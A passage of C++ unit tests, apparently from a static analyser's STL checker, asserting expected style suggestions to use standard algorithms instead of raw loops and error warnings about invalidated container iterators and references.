v.size(); ++i)\\n\"\n \" s += v[i];\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" s += g(i);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int);\\n\"\n \"int f(const std::vector&v, int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" s += g(i) + v[i];\\n\"\n \" }\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoContainerInsert() {\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(v);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoIncrement() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" ++n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void loopAlgoConditional() {\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::replace_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = x + 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:14]: (style) Consider using std::copy_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f();\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if(b) {}\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b |= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b &= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There is no transform_if\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x++;\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" if(x) { return; }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (!g(i))\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (style) Consider using std::any_of, std::all_of, std::none_of algorithm instead of a raw loop.\\n\",\n \"\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5) {\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector v0, v1;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void T::g() {\\n\"\n \" for (std::vector::const_iterator it0 = v0.cbegin(); it0 != v0.cend(); ++it0) {\\n\"\n \" std::vector::iterator it1;\\n\"\n \" for (it1 = v1.begin(); it1 != v1.end(); ++it1)\\n\"\n \" if (*it0 == *it1)\\n\"\n \" break;\\n\"\n \" if (it1 != v1.end())\\n\"\n \" v1.erase(it1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(const std::set& set, const std::string& f) {\\n\" // #11595\n \" for (const std::string& s : set) {\\n\"\n \" if (f.length() >= s.length() && f.compare(0, s.length(), s) == 0) {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #12064\n \" for (const auto& animal : { \\\"cat\\\", \\\"bat\\\", \\\"tiger\\\", \\\"rat\\\" })\\n\"\n \" if (std::strlen(animal) > 4)\\n\"\n \" throw 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& v, const std::vector& w, int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] == w[i])\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (g(i))\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"bool f(const std::vector&v, int n) {\\n\"\n \" bool b{};\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" if (v[i] > 0 && g(i)) {\\n\"\n \" b = true;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoMinMax() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int m) {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > m ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #9091\n \" int maxY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y > maxY)\\n\"\n \" maxY = y;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int minY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y < minY)\\n\"\n \" minY = y;\\n\"\n \" }\\n\"\n \" return minY;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int max = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" max = v[i] > max ? v[i] : max;\\n\"\n \" return max;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int min = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" min = v[i] < min ? v[i] : min;\\n\"\n \" return min;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n }\n\n void loopAlgoMultipleReturn()\n {\n check(\"bool f(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 0)\\n\"\n \" continue;\\n\"\n \" if (i)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return true;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(std::vector& v) {\\n\"\n \" for (auto& i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" j++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int& k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int* k = &j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" (*k)++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"class C {\\n\"\n \"private:\\n\"\n \" QString s;\\n\"\n \"public:\\n\"\n \" C(QString);\\n\"\n \"private:\\n\"\n \" void f() {\\n\"\n \" QVERIFY(QDir(s).exists());\\n\"\n \" }\\n\"\n \" void f(const QStringList& d) {\\n\"\n \" for (QString f : d)\\n\"\n \" QDir(s);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void invalidContainer() {\n check(\"void f(std::vector &v) {\\n\"\n \" auto v0 = v.begin();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << *v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:22] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"std::string e();\\n\"\n \"void a() {\\n\"\n \" std::vector b;\\n\"\n \" for (std::vector::const_iterator c; c != b.end(); ++c) {\\n\"\n \" std::string f = e();\\n\"\n \" std::string::const_iterator d = f.begin();\\n\"\n \" if (d != f.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int *v0 = &v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:15] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:20]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:13] -> [test.cpp:3:17] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:2:17] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" std::vector *v0 = &v;\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const std::vector * g(int);\\n\"\n \"void f() {\\n\"\n \" const std::vector *v = g(1);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" }\\n\"\n \"\\n\"\n \" v = g(2);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" if (m == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector g();\\n\"\n \"void f() {\\n\"\n \" std::vector x = g();\\n\"\n \" const std::string& y = x[1];\\n\"\n \" std::string z;\\n\"\n \" z += \\\"\\\";\\n\"\n \" z += y;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v)\\n\"\n \"{\\n\"\n \" auto *cur = v.data();\\n\"\n \" auto *end = cur + v.size();\\n\"\n \" while (cur < end) {\\n\"\n \" v.erase(v.begin(), FindNext(v));\\n\"\n \" cur = v.data();\\n\"\n \" end = cur + v.size();\\n\"\n \" }\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9598\n check(\"void f(std::vector v) {\\n\"\n \" for (auto it = v.begin(); it != v.end(); it = v.erase(it))\\n\"\n \" *it;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9714\n check(\"void f() {\\n\"\n \" auto v = std::vector();\\n\"\n \" std::string x;\\n\"\n \" v.push_back(x.insert(0, \\\"x\\\"));\\n\"\n \" v.push_back(\\\"y\\\");\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9783\n check(\"std::string GetTaskIDPerUUID(int);\\n\"\n \"void InitializeJumpList(CString s);\\n\"\n \"void foo() {\\n\"\n \" CString sAppID = GetTaskIDPerUUID(123).c_str();\\n\"\n \" InitializeJumpList(sAppID);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n // #9796\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" std::shared_ptr a = std::make_shared();\\n\"\n \" v.push_back(a);\\n\"\n \" std::shared_ptr b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9780\n check(\"int f() {\\n\"\n \" std::vector vect;\\n\"\n \" MyStruct info{};\\n\"\n \" info.vect = &vect;\\n\"\n \" vect.push_back(1);\\n\"\n \" return info.ret;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", 